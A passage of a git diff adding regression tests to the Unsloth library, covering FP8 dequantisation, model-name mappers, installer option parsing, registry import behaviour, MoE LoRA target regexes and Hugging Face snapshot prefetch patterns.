+    scale = (torch.rand(1, 1, device = dev) + 1.0).to(torch.float8_e8m0fnu)
+    X = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)
+
+    out = FP8BlockQuantLinear.apply(X, weight, scale)
+    assert torch.isfinite(out).all()
+    out.sum().backward()
+    assert torch.isfinite(X.grad).all()
+
+
+def test_rectangular_block_dequant_matches_reference():
+    # Rectangular blocks (block_size[0] != block_size[1]) that tile evenly used to
+    # route through the triton weight_dequant kernel, which uses a single BLOCK_SIZE
+    # for both axes and mis-indexes the column scale. Verify the torch expansion path
+    # now matches the reference for a 64x256 weight with block [64, 128] (scale 1x2).
+    from unsloth.kernels.fp8 import _blockwise_weight_dequant_any_shape
+
+    torch.manual_seed(0)
+    dev = "cuda"
+    block = [64, 128]
+    m, n = 64, 256  # evenly tiled: 64 % 64 == 0, 256 % 128 == 0
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)
+    # Distinct per-block column scales expose column mis-indexing.
+    scale = torch.tensor([[0.5, 3.0]], device = dev, dtype = torch.float32)
+
+    W_deq = _blockwise_weight_dequant_any_shape(weight, scale, block, torch.bfloat16)
+
+    s = scale.repeat_interleave(block[0], 0)[:m].repeat_interleave(block[1], 1)[:, :n]
+    ref = (weight.to(torch.float32) * s).to(torch.bfloat16)
+    torch.testing.assert_close(W_deq, ref, atol = 5e-3, rtol = 5e-3)
+
+
+def test_e8m0_scale_preserves_non_default_block_size_attr():
+    # An e8m0 scale carrying a non-default block_size attribute must keep it across
+    # the float32 upcast in forward; otherwise the lookup falls back to [128, 128]
+    # and a compatible layout is wrongly rejected as incompatible.
+    from unsloth.kernels.fp8 import FP8BlockQuantLinear
+
+    if not hasattr(torch, "float8_e8m0fnu"):
+        pytest.skip("torch build lacks float8_e8m0fnu")
+
+    torch.manual_seed(0)
+    dev = "cuda"
+    block = [64, 64]
+    # in-dim 96 is not divisible by block[1]=64 -> forward takes the torch dequant
+    # fallback (no fp8 matmul kernel). Scale shape (2, 2) validates for [64, 64] but
+    # not [128, 128] (which expects (1, 1)).
+    m, n = 128, 96
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)  # no block_size attr
+    scale_f = torch.rand(2, 2, device = dev) + 1.0
+    scale = scale_f.to(torch.float8_e8m0fnu)
+    scale.block_size = block  # attribute lives on the scale, not the weight
+    X = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)
+
+    # With [128, 128] this raises "not compatible with block size"; success proves
+    # the [64, 64] attribute survived the e8m0 -> float32 upcast.
+    out = FP8BlockQuantLinear.apply(X, weight, scale)
+    assert torch.isfinite(out).all()
+
+    ref = _reference(X.detach(), weight, scale.to(torch.float32), block)
+    torch.testing.assert_close(out, ref, atol = 5e-2, rtol = 5e-2)
+
+    out.sum().backward()
+    assert X.grad is not None and torch.isfinite(X.grad).all()
+
+
+if __name__ == "__main__":
+    import sys
+    sys.exit(pytest.main([__file__, "-q"]))
diff --git a/tests/test_gemma_2b_mapper_key.py b/tests/test_gemma_2b_mapper_key.py
new file mode 100644
index 0000000000..31edacfce4
--- /dev/null
+++ b/tests/test_gemma_2b_mapper_key.py
@@ -0,0 +1,46 @@
+"""Regression test for the duplicate ``unsloth/gemma-2b-bnb-4bit`` key in
+``unsloth/models/mapper.py``.
+
+The 4bit instruction-tuned Gemma 2B entry was accidentally keyed with the base
+model's repo name, so ``__INT_TO_FLOAT_MAPPER`` held two identical
+``unsloth/gemma-2b-bnb-4bit`` keys. Python keeps only the last value for a
+duplicate literal key, so the base 4bit repo resolved to the *instruct* model,
+the base model lost its reverse (4x-faster) mapping, and
+``unsloth/gemma-2b-it-bnb-4bit`` was never registered at all.
+
+``mapper.py`` has no imports, so we exec it directly and inspect the built
+mappers without importing ``unsloth`` (which requires a GPU).
+"""
+
+import os
+
+MAPPER_PATH = os.path.join(os.path.dirname(__file__), os.pardir, "unsloth", "models", "mapper.py")
+
+
+def _load_mappers():
+    with open(MAPPER_PATH) as f:
+        source = f.read()
+    namespace = {}
+    exec(compile(source, MAPPER_PATH, "exec"), namespace)
+    return namespace
+
+
+def test_gemma_2b_base_and_instruct_4bit_are_distinct():
+    namespace = _load_mappers()
+    int_to_float = namespace["INT_TO_FLOAT_MAPPER"]
+    float_to_int = namespace["FLOAT_TO_INT_MAPPER"]
+
+    # The base 4bit repo must resolve to the base model, not the instruct one.
+    assert int_to_float["unsloth/gemma-2b-bnb-4bit"] == "unsloth/gemma-2b"
+
+    # The instruct 4bit repo must be registered and resolve to the instruct model.
+    assert "unsloth/gemma-2b-it-bnb-4bit" in int_to_float
+    assert int_to_float["unsloth/gemma-2b-it-bnb-4bit"] == "unsloth/gemma-2b-it"
+
+    # The base model must reverse-map back to the base 4bit repo.
+    assert float_to_int["unsloth/gemma-2b"] == "unsloth/gemma-2b-bnb-4bit"
+    assert float_to_int["google/gemma-2b"] == "unsloth/gemma-2b-bnb-4bit"
+
+    # The instruct model must reverse-map to the instruct 4bit repo.
+    assert float_to_int["unsloth/gemma-2b-it"] == "unsloth/gemma-2b-it-bnb-4bit"
+    assert float_to_int["google/gemma-2b-it"] == "unsloth/gemma-2b-it-bnb-4bit"
diff --git a/tests/test_get_model_name.py b/tests/test_get_model_name.py
index 993931c0ef..33ad316d88 100644
--- a/tests/test_get_model_name.py
+++ b/tests/test_get_model_name.py
@@ -102,6 +102,19 @@ class TestGetModelName(unittest.TestCase):
             ),
             ("unsloth/Kimi-K2-Instruct", True, "unsloth/Kimi-K2-Instruct-BF16", True),
             ("unsloth/Kimi-K2-Instruct", False, "unsloth/Kimi-K2-Instruct", False),
+            # DeepScaleR-1.5B must resolve to its own 16bit repo, not another model
+            (
+                "agentica-org/DeepScaleR-1.5B-Preview",
+                False,
+                "unsloth/DeepScaleR-1.5B-Preview",
+                True,
+            ),
+            (
+                "agentica-org/DeepScaleR-1.5B-Preview",
+                True,
+                "unsloth/DeepScaleR-1.5B-Preview-unsloth-bnb-4bit",
+                True,
+            ),
             # Fallback-to-original behavior
             "nonexistent-user/nonexistent-model-123",
             "google/gemma-3-random-prototype-123",
@@ -157,6 +170,10 @@ class TestGetModelName(unittest.TestCase):
             with self.subTest(src = src):
                 self.assertEqual(FLOAT_TO_INT_MAPPER[src], expected)
         self.assertEqual(MAP_TO_UNSLOTH_16bit["qwen/qwen3-8b-fp8"], "unsloth/Qwen3-8B-FP8")
+        self.assertEqual(
+            MAP_TO_UNSLOTH_16bit["agentica-org/deepscaler-1.5b-preview"],
+            "unsloth/DeepScaleR-1.5B-Preview",
+        )
 
 
 if __name__ == "__main__":
diff --git a/tests/test_installer_skip_autostart.py b/tests/test_installer_skip_autostart.py
new file mode 100644
index 0000000000..fcc199af44
--- /dev/null
+++ b/tests/test_installer_skip_autostart.py
@@ -0,0 +1,147 @@
+"""Regression tests for installer controls and process exits."""
+
+from __future__ import annotations
+
+import os
+import re
+import shutil
+import subprocess
+from pathlib import Path
+
+import pytest
+
+REPO_ROOT = Path(__file__).resolve().parents[1]
+INSTALL_SH = REPO_ROOT / "install.sh"
+INSTALL_PS1 = REPO_ROOT / "install.ps1"
+README = REPO_ROOT / "README.md"
+
+TRUTHY_VALUES = ("1", "true", "TRUE", "yes", "YES", "on", "ON")
+FALSEY_VALUES = ("", "0", "false", "no", "off", "anything-else")
+
+
+def _extract(pattern: str, source: str) -> str:
+    match = re.search(pattern, source, flags = re.DOTALL)
+    assert match is not None, f"installer block not found: {pattern}"
+    return match.group(0)
+
+
+@pytest.mark.parametrize(
+    ("value", "expected"),
+    [(value, "true") for value in TRUTHY_VALUES] + [(value, "false") for value in FALSEY_VALUES],
+)
+@pytest.mark.skipif(shutil.which("sh") is None, reason = "POSIX shell is unavailable")
+def test_posix_skip_autostart_value_parsing_with_no_torch(value: str, expected: str):
+    source = INSTALL_SH.read_text(encoding = "utf-8")
+    no_torch_parser = _extract(
+        r'case "\$\{UNSLOTH_NO_TORCH:-\}" in.*?esac',
+        source,
+    )
+    autostart_parser = _extract(
+        r'case "\$\{UNSLOTH_SKIP_AUTOSTART:-\}" in.*?esac',
+        source,
+    )
+    env = os.environ.copy()
+    env["UNSLOTH_NO_TORCH"] = "1"
+    env["UNSLOTH_SKIP_AUTOSTART"] = value
+    result = subprocess.run(
+        [
+            "sh",
+            "-c",
+            (
+                f"_NO_TORCH_FLAG=false\n_SKIP_AUTOSTART=false\n{no_torch_parser}\n"
+                f'{autostart_parser}\nprintf "%s %s" "$_NO_TORCH_FLAG" "$_SKIP_AUTOSTART"'
+            ),
+        ],
+        check = True,
+        capture_output = True,
+        text = True,
+        env = env,
+    )
+    assert result.stdout == f"true {expected}"
+
+
+def test_posix_skip_autostart_bypasses_only_the_interactive_prompt():
+    source = INSTALL_SH.read_text(encoding = "utf-8")
+    gate = 'if [ "$_SKIP_AUTOSTART" != true ] && [ -t 1 ]; then'
+    assert gate in source
+    assert source.index(gate) < source.index("Start Unsloth Studio now? [Y/n]")
+    assert source.count("Start Unsloth Studio now? [Y/n]") == 1
+    assert source.index("Start Unsloth Studio now? [Y/n]") < source.index(
+        'step "launch" "manual commands:"'
+    )
+    assert "export UNSLOTH_SKIP_AUTOSTART=1" in source
+
+
+@pytest.mark.skipif(shutil.which("pwsh") is None, reason = "PowerShell is unavailable")
+@pytest.mark.parametrize(
+    ("value", "expected"),
+    [(value, "True") for value in TRUTHY_VALUES] + [(value, "False") for value in FALSEY_VALUES],
+)
+def test_windows_skip_autostart_value_parsing_with_no_torch(value: str, expected: str):
+    source = INSTALL_PS1.read_text(encoding = "utf-8")
+    parser = _extract(
+        r"\$SkipTorch = \$false\s+\$SkipAutostart = \$false\s+.*?"
+        r"if \(\$env:UNSLOTH_NO_TORCH -in @\('1', 'true', 'yes', 'on'\)\) "
+        r"\{ \$SkipTorch = \$true \}\s+"
+        r"if \(\$env:UNSLOTH_SKIP_AUTOSTART -in @\('1', 'true', 'yes', 'on'\)\) "
+        r"\{ \$SkipAutostart = \$true \}",
+        source,
+    )
+    env = os.environ.copy()
+    env["UNSLOTH_NO_TORCH"] = "1"
+    env["UNSLOTH_SKIP_AUTOSTART"] = value
+    result = subprocess.run(
+        [
+            "pwsh",
+            "-NoProfile",
+            "-NonInteractive",
+            "-Command",
+            f'{parser}; "$SkipTorch $SkipAutostart"',
+        ],
+        check = True,
+        capture_output = True,
+        text = True,
+        env = env,
+    )
+    assert result.stdout.strip() == f"True {expected}"
+
+
+def test_windows_skip_autostart_bypasses_only_the_interactive_prompt():
+    source = INSTALL_PS1.read_text(encoding = "utf-8")
+    gate = (
+        "$IsInteractive = (-not $SkipAutostart) -and "
+        "[Environment]::UserInteractive -and (-not [Console]::IsInputRedirected)"
+    )
+    assert gate in source
+    assert source.index(gate) < source.index("Start Unsloth Studio now? [Y/n]")
+    assert source.count("Start Unsloth Studio now? [Y/n]") == 1
+    assert source.index("Start Unsloth Studio now? [Y/n]") < source.index(
+        'step "launch" "manual commands:"'
+    )
+
+
+@pytest.mark.skipif(shutil.which("pwsh") is None, reason = "PowerShell is unavailable")
+def test_windows_installer_invalid_package_fails():
+    result = subprocess.run(
+        [
+            "pwsh",
+            "-NoProfile",
+            "-NonInteractive",
+            "-File",
+            str(INSTALL_PS1),
+            "--package",
+            "bad!",
+        ],
+        capture_output = True,
+        text = True,
+        timeout = 30,
+    )
+
+    assert result.returncode != 0
+    assert "package name contains invalid characters" in result.stdout + result.stderr
+
+
+def test_skip_autostart_is_documented_for_all_installers():
+    readme = README.read_text(encoding = "utf-8")
+    assert "UNSLOTH_SKIP_AUTOSTART=1 sh" in readme
+    assert "$env:UNSLOTH_SKIP_AUTOSTART=1" in readme
diff --git a/tests/test_installer_unsloth_version.py b/tests/test_installer_unsloth_version.py
new file mode 100644
index 0000000000..5ee1cfac71
--- /dev/null
+++ b/tests/test_installer_unsloth_version.py
@@ -0,0 +1,75 @@
+"""Regression coverage for installer version reporting."""
+
+from __future__ import annotations
+
+import re
+import shutil
+import subprocess
+import sys
+from importlib.metadata import version
+from pathlib import Path
+
+import pytest
+
+REPO_ROOT = Path(__file__).resolve().parents[1]
+INSTALL_SH = REPO_ROOT / "install.sh"
+INSTALL_PS1 = REPO_ROOT / "install.ps1"
+
+
+def _extract(pattern: str, source: str) -> str:
+    match = re.search(pattern, source, flags = re.DOTALL | re.MULTILINE)
+    assert match is not None, f"installer block not found: {pattern}"
+    return match.group(0)
+
+
+@pytest.mark.skipif(shutil.which("sh") is None, reason = "POSIX shell is unavailable")
+def test_posix_installer_reports_installed_distribution_version():
+    source = INSTALL_SH.read_text(encoding = "utf-8")
+    reporter = _extract(
+        r"_installed_package_version=\$\(.*?^fi",
+        source,
+    )
+    result = subprocess.run(
+        [
+            "sh",
+            "-c",
+            (
+                'step() { printf "%s %s\\n" "$1" "$2"; }\n'
+                'substep() { printf "WARN %s\\n" "$1"; }\n'
+                f"_VENV_PY={sys.executable!r}\n"
+                "PACKAGE_NAME=pytest\n"
+                f"{reporter}"
+            ),
+        ],
+        check = True,
+        capture_output = True,
+        text = True,
+    )
+    assert result.stdout.strip() == f"pytest {version('pytest')} installed"
+
+
+@pytest.mark.skipif(shutil.which("pwsh") is None, reason = "PowerShell is unavailable")
+def test_windows_version_reporter_uses_distribution_metadata():
+    source = INSTALL_PS1.read_text(encoding = "utf-8")
+    reporter = _extract(
+        r"    \$installedPackageVersion = .*?^    if .*?^    \} else \{.*?^    \}",
+        source,
+    )
+    result = subprocess.run(
+        [
+            "pwsh",
+            "-NoProfile",
+            "-NonInteractive",
+            "-Command",
+            (
+                'function step { param($Label, $Value) Write-Output "$Label $Value" }; '
+                'function substep { param($Message, $Color) Write-Output "WARN $Message" }; '
+                f"$VenvPython = '{sys.executable}'; $PackageName = 'pytest'; "
+                f"{reporter}"
+            ),
+        ],
+        check = True,
+        capture_output = True,
+        text = True,
+    )
+    assert result.stdout.strip() == f"pytest {version('pytest')} installed"
diff --git a/tests/test_model_registry.py b/tests/test_model_registry.py
index 283b099107..76f462c5cf 100644
--- a/tests/test_model_registry.py
+++ b/tests/test_model_registry.py
@@ -1,5 +1,8 @@
 """Register each model set and check the registered ids exist on the HF Hub."""
 
+import os
+import subprocess
+import sys
 from dataclasses import dataclass
 
 import pytest
@@ -77,3 +80,85 @@ def test_quant_type():
     assert all(m.quant_type == QuantType.UNSLOTH for m in dynamic_quant_models)
     quant_tag = QUANT_TAG_MAP[QuantType.UNSLOTH]
     assert all(quant_tag in m.model_path for m in dynamic_quant_models)
+
+
+def _run_registry_child(body: str) -> subprocess.CompletedProcess:
+    """Run ``body`` in a fresh interpreter that first imports this directory's
+    ``conftest`` so it inherits the same GPU-free harness the pytest session
+    uses (device_type stubs plus torch.cuda probe patches). Without it,
+    ``import unsloth.registry`` raises ``NotImplementedError`` from
+    ``unsloth_zoo.device_type`` on no-accelerator CI runners, so the child
+    would exit non-zero and the test would fail even though the registry code
+    is correct. A fresh process also keeps each check independent of any
+    ``register_models()`` calls other tests make on the shared registry.
+    """
+    tests_dir = os.path.dirname(os.path.abspath(__file__))
+    prelude = (
+        f"import sys; sys.path.insert(0, {tests_dir!r})\n"
+        "try:\n"
+        "    import conftest  # noqa: F401  GPU-free harness on no-accelerator runners\n"
+        "except Exception:\n"
+        "    pass\n"
+    )
+    return subprocess.run(
+        [sys.executable, "-c", prelude + body],
+        capture_output = True,
+        text = True,
+        check = False,
+    )
+
+
+def test_importing_registry_does_not_register_models():
+    """Importing the registry must not populate MODEL_REGISTRY on its own.
+
+    ``_deepseek`` used to call ``register_deepseek_models(...)`` at module
+    scope, so merely importing ``unsloth.registry`` registered models as an
+    import side effect, unlike every other family which only registers on
+    demand.
+    """
+    result = _run_registry_child(
+        "import unsloth.registry\n"
+        "from unsloth.registry.registry import MODEL_REGISTRY\n"
+        "print('REGISTRY_SIZE', len(MODEL_REGISTRY))"
+    )
+    assert result.returncode == 0, (
+        f"registry import subprocess exited {result.returncode}\n"
+        f"stdout:\n{result.stdout}\nstderr:\n{result.stderr}"
+    )
+    size_lines = [line for line in result.stdout.splitlines() if line.startswith("REGISTRY_SIZE")]
+    assert size_lines == ["REGISTRY_SIZE 0"], result.stdout + result.stderr
+
+
+def test_register_models_registers_no_upstream_originals():
+    """``register_models()`` must register each family's ``unsloth``-org models
+    and must NOT leak upstream vendor "original" models.
+
+    Before the fix, ``_deepseek``'s import-time
+    ``register_deepseek_models(include_original_model = True)`` set the
+    ``_IS_DEEPSEEK_*_REGISTERED`` guards, so the later default
+    ``register_models()`` early-returned for deepseek and its 10 ``deepseek-ai``
+    originals leaked permanently (129 -> 139). This asserts the whole registry
+    is ``unsloth``-org after ``register_models()`` while deepseek is still
+    registered via the normal path. Runs in a fresh interpreter so it is
+    independent of other tests' registry mutations.
+    """
+    result = _run_registry_child(
+        "import unsloth.registry\n"
+        "from unsloth.registry import register_models\n"
+        "from unsloth.registry.registry import MODEL_REGISTRY\n"
+        "register_models()\n"
+        "orgs = sorted({m.org for m in MODEL_REGISTRY.values()})\n"
+        "deepseek = [k for k in MODEL_REGISTRY if 'deepseek' in k.lower()]\n"
+        "print('ORGS', orgs)\n"
+        "print('NUM_DEEPSEEK', len(deepseek))"
+    )
+    assert result.returncode == 0, (
+        f"register_models subprocess exited {result.returncode}\n"
+        f"stdout:\n{result.stdout}\nstderr:\n{result.stderr}"
+    )
+    out = result.stdout
+    # Every registered model is unsloth-org: no upstream "original" leaked.
+    assert "ORGS ['unsloth']" in out, out + result.stderr
+    # Deepseek is still registered via the normal path, just without originals.
+    deepseek_lines = [line for line in out.splitlines() if line.startswith("NUM_DEEPSEEK")]
+    assert deepseek_lines and int(deepseek_lines[0].split()[1]) > 0, out + result.stderr
diff --git a/tests/test_moe_lora_targets.py b/tests/test_moe_lora_targets.py
index 994d39f261..7f9b9a0485 100644
--- a/tests/test_moe_lora_targets.py
+++ b/tests/test_moe_lora_targets.py
@@ -49,3 +49,190 @@ def test_explicit_dotted_module_target_does_not_discover_moe_parameters():
         )
         is None
     )
+
+
+@pytest.mark.parametrize(
+    "target_modules",
+    [
+        # Attention-only auto-regex lists every projection leaf (incl. gate/up/down)
+        # but its path segment is attention-only, so experts must NOT be targeted.
+        r"(?:\bmodel\.layers\.[\d]{1,}\.(?:self_attn|attention|attn|mixer)\.(?:q_proj|k_proj|v_proj|o_proj|gate_proj|up_proj|down_proj))",
+        ".*self_attn.*proj",
+        # An mlp path alternative with attention-only leaves is still attention-only.
+        r"model\.layers\.\d+\.(?:mlp|self_attn)\.(?:q_proj|k_proj|v_proj|o_proj)",
+    ],
+)
+def test_attention_only_regex_does_not_discover_moe_parameters(target_modules):
+    from unsloth.models._utils import get_moe_target_parameters
+    assert get_moe_target_parameters(_FakeMoeModel(), target_modules) is None
+
+
+def test_single_leaf_regex_targets_only_that_projection():
+    from unsloth.models._utils import get_moe_target_parameters
+    assert get_moe_target_parameters(_FakeMoeModel(), ".*experts.*down_proj") == [
+        "mlp.experts.down_proj",
+    ]
+    assert get_moe_target_parameters(_FakeMoeModel(), ".*mlp.*gate_proj") == [
+        "mlp.experts.gate_up_proj",
+    ]
+
+
+def test_auto_regex_mlp_tag_block_discovers_moe_on_fused_models():
+    # get_peft_regex on a fused-expert model lists only attention Linears as
+    # leaves; the mlp tag block is the remaining signal of MLP finetune intent.
+    from unsloth.models._utils import get_moe_target_parameters
+    both_auto = (
+        r"(?:\bmodel\.layers\.[\d]{1,}\."
+        r"(?:self_attn|attention|attn|mixer|mlp|feed_forward|ffn|dense|mixer)\."
+        r"(?:(?:q_proj|k_proj|v_proj|o_proj)))"
+    )
+    assert get_moe_target_parameters(_FakeMoeModel(), both_auto) == [
+        "mlp.experts.gate_up_proj",
+        "mlp.experts.down_proj",
+    ]
+
+
+def test_explicit_attention_only_list_does_not_discover_moe_parameters():
+    # An explicit attention-only leaf list names no MLP projection, so experts
+    # must never be targeted. get_peft_model routes this ORIGINAL list (not the
+    # scoped regex) into detection precisely because family scoping makes
+    # get_peft_regex emit its full "mlp|feed_forward|ffn|dense" component block
+    # even for an attention-only request (see the regex below), which the
+    # string fallback cannot distinguish from the fused-expert auto regex.
+    from unsloth.models._utils import get_moe_target_parameters
+
+    attn_only_list = ["q_proj", "k_proj", "v_proj", "o_proj"]
+    assert get_moe_target_parameters(_FakeMoeModel(), attn_only_list) is None
+    assert get_moe_target_parameters(_FakeMoeModel(), tuple(attn_only_list)) is None
+
+    # The regex get_peft_regex emits for that same attention-only list under a
+    # vision-off family scope carries the mlp component block, so the string
+    # path would wrongly enable experts -- hence detection must use the list.
+    scoped_regex = (
+        r"(?:.*?(?:language|text).*?"
+        r"(?:self_attn|attention|attn|mixer|mlp|feed_forward|ffn|dense|mixer).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    assert get_moe_target_parameters(_FakeMoeModel(), scoped_regex) == [
+        "mlp.experts.gate_up_proj",
+        "mlp.experts.down_proj",
+    ]
+
+
+def test_frozen_mlp_full_list_does_not_discover_moe_parameters():
+    # Regression: an explicit list that names MLP leaves together with
+    # finetune_mlp_modules=False must NOT train experts. get_peft_regex scopes
+    # the MLP leaves out (its emitted regex carries no mlp tag block), so
+    # detection has to key on that SCOPED regex -- keying on the original list
+    # would let its gate/up/down leaves silently re-enable the frozen experts.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    original_list = [
+        "q_proj",
+        "k_proj",
+        "v_proj",
+        "o_proj",
+        "gate_proj",
+        "up_proj",
+        "down_proj",
+    ]
+    # Representative of what get_peft_regex emits for that list under
+    # finetune_mlp_modules=False: attention-only path, no mlp component block.
+    scoped_regex = (
+        r"(?:.*?(?:language|text).*?"
+        r"(?:self_attn|attention|attn|mixer).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    selected = _select_moe_detection_targets(
+        original_list,
+        scoped_regex,
+        finetune_mlp_modules = False,
+        finetune_language_layers = True,
+    )
+    assert selected is scoped_regex
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) is None
+
+
+def test_frozen_language_full_list_does_not_discover_moe_parameters():
+    # Vision-only request (finetune_language_layers=False) with a full leaf list
+    # must not reach the language-model experts either.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    original_list = ["q_proj", "gate_proj", "up_proj", "down_proj"]
+    scoped_regex = (
+        r"(?:.*?(?:vision|visual|image).*?"
+        r"(?:self_attn|attention|attn|mixer).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    selected = _select_moe_detection_targets(
+        original_list,
+        scoped_regex,
+        finetune_mlp_modules = True,
+        finetune_language_layers = False,
+    )
+    assert selected is scoped_regex
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) is None
+
+
+def test_in_scope_mlp_full_list_still_discovers_moe_parameters():
+    # With MLP and language both in scope, an explicit list that names MLP
+    # leaves SHOULD enable the experts (unchanged behavior): the original list
+    # is preferred and carries the gate/up/down intent.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    original_list = [
+        "q_proj",
+        "k_proj",
+        "v_proj",
+        "o_proj",
+        "gate_proj",
+        "up_proj",
+        "down_proj",
+    ]
+    scoped_regex = r".*self_attn.*proj"  # unused: original list is preferred
+    selected = _select_moe_detection_targets(
+        original_list,
+        scoped_regex,
+        finetune_mlp_modules = True,
+        finetune_language_layers = True,
+    )
+    assert selected is original_list
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) == [
+        "mlp.experts.gate_up_proj",
+        "mlp.experts.down_proj",
+    ]
+
+
+def test_attention_only_list_prefers_original_when_in_scope():
+    # The case the PR originally fixed: an attention-only list routed through
+    # get_peft_regex under a family scope (e.g. vision-off) still keeps experts
+    # off, because with MLP+language in scope detection uses the original
+    # attention-only list rather than the regex's spurious mlp component block.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    attn_only_list = ["q_proj", "k_proj", "v_proj", "o_proj"]
+    scoped_regex = (  # carries the spurious mlp block get_peft_regex always adds
+        r"(?:.*?(?:language|text).*?"
+        r"(?:self_attn|attention|attn|mixer|mlp|feed_forward|ffn|dense).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    selected = _select_moe_detection_targets(
+        attn_only_list,
+        scoped_regex,
+        finetune_mlp_modules = True,
+        finetune_language_layers = True,
+    )
+    assert selected is attn_only_list
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) is None
diff --git a/tests/test_prefetch_snapshot_scope.py b/tests/test_prefetch_snapshot_scope.py
new file mode 100644
index 0000000000..c7ec4f2c34
--- /dev/null
+++ b/tests/test_prefetch_snapshot_scope.py
@@ -0,0 +1,916 @@
+# Unsloth Zoo - Utilities for Unsloth
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published
+# by the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+"""Pure-CPU, no-network unit tests for prefetch snapshot scoping in unsloth/models/_utils.py.
+
+maybe_prefetch_hf_snapshot warms the HF cache before the in-process load. The warm must cover at
+least what the load reads (else the missing file falls to an unprotected in-process Xet fetch) but
+not pull weights the load never reads. These tests lock the allow/ignore patterns each mode hands
+snapshot_download_with_xet_fallback. The zoo downloader is monkeypatched to capture its kwargs.
+"""
+
+import fnmatch
+import sys
+import types
+
+import pytest
+
+from unsloth.models import _utils as U
+
+
+def _filter(names, allow_patterns, ignore_patterns):
+    """Mirror HF filter_repo_objects: keep on allow match (or None), drop on ignore match."""
+    kept = []
+    for name in names:
+        if allow_patterns is not None and not any(fnmatch.fnmatch(name, p) for p in allow_patterns):
+            continue
+        if ignore_patterns and any(fnmatch.fnmatch(name, p) for p in ignore_patterns):
+            continue
+        kept.append(name)
+    return kept
+
+
+@pytest.fixture
+def capture(monkeypatch):
+    """Run maybe_prefetch_hf_snapshot with a fake repo, capturing the patterns forwarded to a
+    fake injected zoo downloader (independent of the installed unsloth_zoo). Offline env cleared."""
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+
+    state = {}
+
+    def fake_download(repo_id, **kw):
+        state["repo_id"] = repo_id
+        state["allow_patterns"] = kw.get("allow_patterns")
+        state["ignore_patterns"] = kw.get("ignore_patterns")
+        state["variant"] = kw.get("variant")
+        return "/tmp/fake-snapshot"
+
+    fake_module = types.ModuleType("unsloth_zoo.hf_xet_fallback")
+    fake_module.snapshot_download_with_xet_fallback = fake_download
+    fake_module.DownloadStallError = type("DownloadStallError", (RuntimeError,), {})
+    monkeypatch.setitem(sys.modules, "unsloth_zoo.hf_xet_fallback", fake_module)
+
+    # Neutralize the model_info network call by default; tests exercising format selection
+    # install their own.
+    import huggingface_hub
+
+    class _NoNetworkApi:
+        def model_info(self, *a, **k):
+            raise RuntimeError("no network in test")
+
+    monkeypatch.setattr(huggingface_hub, "HfApi", _NoNetworkApi)
+
+    def run(**call_kwargs):
+        state.clear()
+        ok = U.maybe_prefetch_hf_snapshot("some-org/some-repo", **call_kwargs)
+        return ok, state
+
+    return run
+
+
+# Representative repo listing: root weights + aux, subdir, adapter, checkpoint, merged weights.
+_SAMPLE_FILES = [
+    "config.json",
+    "tokenizer.json",
+    "tokenizer_config.json",
+    "model-00001-of-00002.safetensors",
+    "model-00002-of-00002.safetensors",
+    "model.safetensors.index.json",
+    "pytorch_model.bin",
+    "fp16/model.safetensors",
+    "experimental/model-00001-of-00002.safetensors",
+    "checkpoint-500/model.safetensors",
+    "adapter_config.json",
+    "adapter_model.safetensors",
+]
+
+
+def test_weights_at_root_excludes_subdir_weights(capture):
+    """A root load ignores subdir weights (fp16/, experimental/, checkpoint-500/) but keeps root weights."""
+    ok, st = capture(weights_at_root = True, use_safetensors = True)
+    assert ok is True
+    assert st["allow_patterns"] is None
+    ig = st["ignore_patterns"]
+    assert "*/*.safetensors" in ig and "*/*.bin" in ig
+    kept = _filter(_SAMPLE_FILES, st["allow_patterns"], ig)
+    assert "model-00001-of-00002.safetensors" in kept
+    assert "model.safetensors.index.json" in kept
+    assert "config.json" in kept
+    assert "fp16/model.safetensors" not in kept
+    assert "experimental/model-00001-of-00002.safetensors" not in kept
+    assert "checkpoint-500/model.safetensors" not in kept
+
+
+def test_adapter_only_excludes_merged_weights(capture):
+    """An adapter warm keeps adapter files + root aux, not merged full-model weights."""
+    ok, st = capture(adapter_only = True)
+    assert ok is True
+    assert st["ignore_patterns"] is None
+    allow = st["allow_patterns"]
+    assert "adapter_config.json" in allow and "adapter_model*" in allow
+    kept = _filter(_SAMPLE_FILES, allow, st["ignore_patterns"])
+    assert "adapter_config.json" in kept
+    assert "adapter_model.safetensors" in kept
+    assert "config.json" in kept and "tokenizer.json" in kept
+    assert "model-00001-of-00002.safetensors" not in kept
+    assert "pytorch_model.bin" not in kept
+    assert "fp16/model.safetensors" not in kept
+
+
+def test_adapter_only_warms_sharded_adapter(capture):
+    """A sharded adapter is still covered by the adapter_model* glob."""
+    _, st = capture(adapter_only = True)
+    sharded = [
+        "adapter_config.json",
+        "adapter_model-00001-of-00002.safetensors",
+        "adapter_model-00002-of-00002.safetensors",
+        "adapter_model.safetensors.index.json",
+    ]
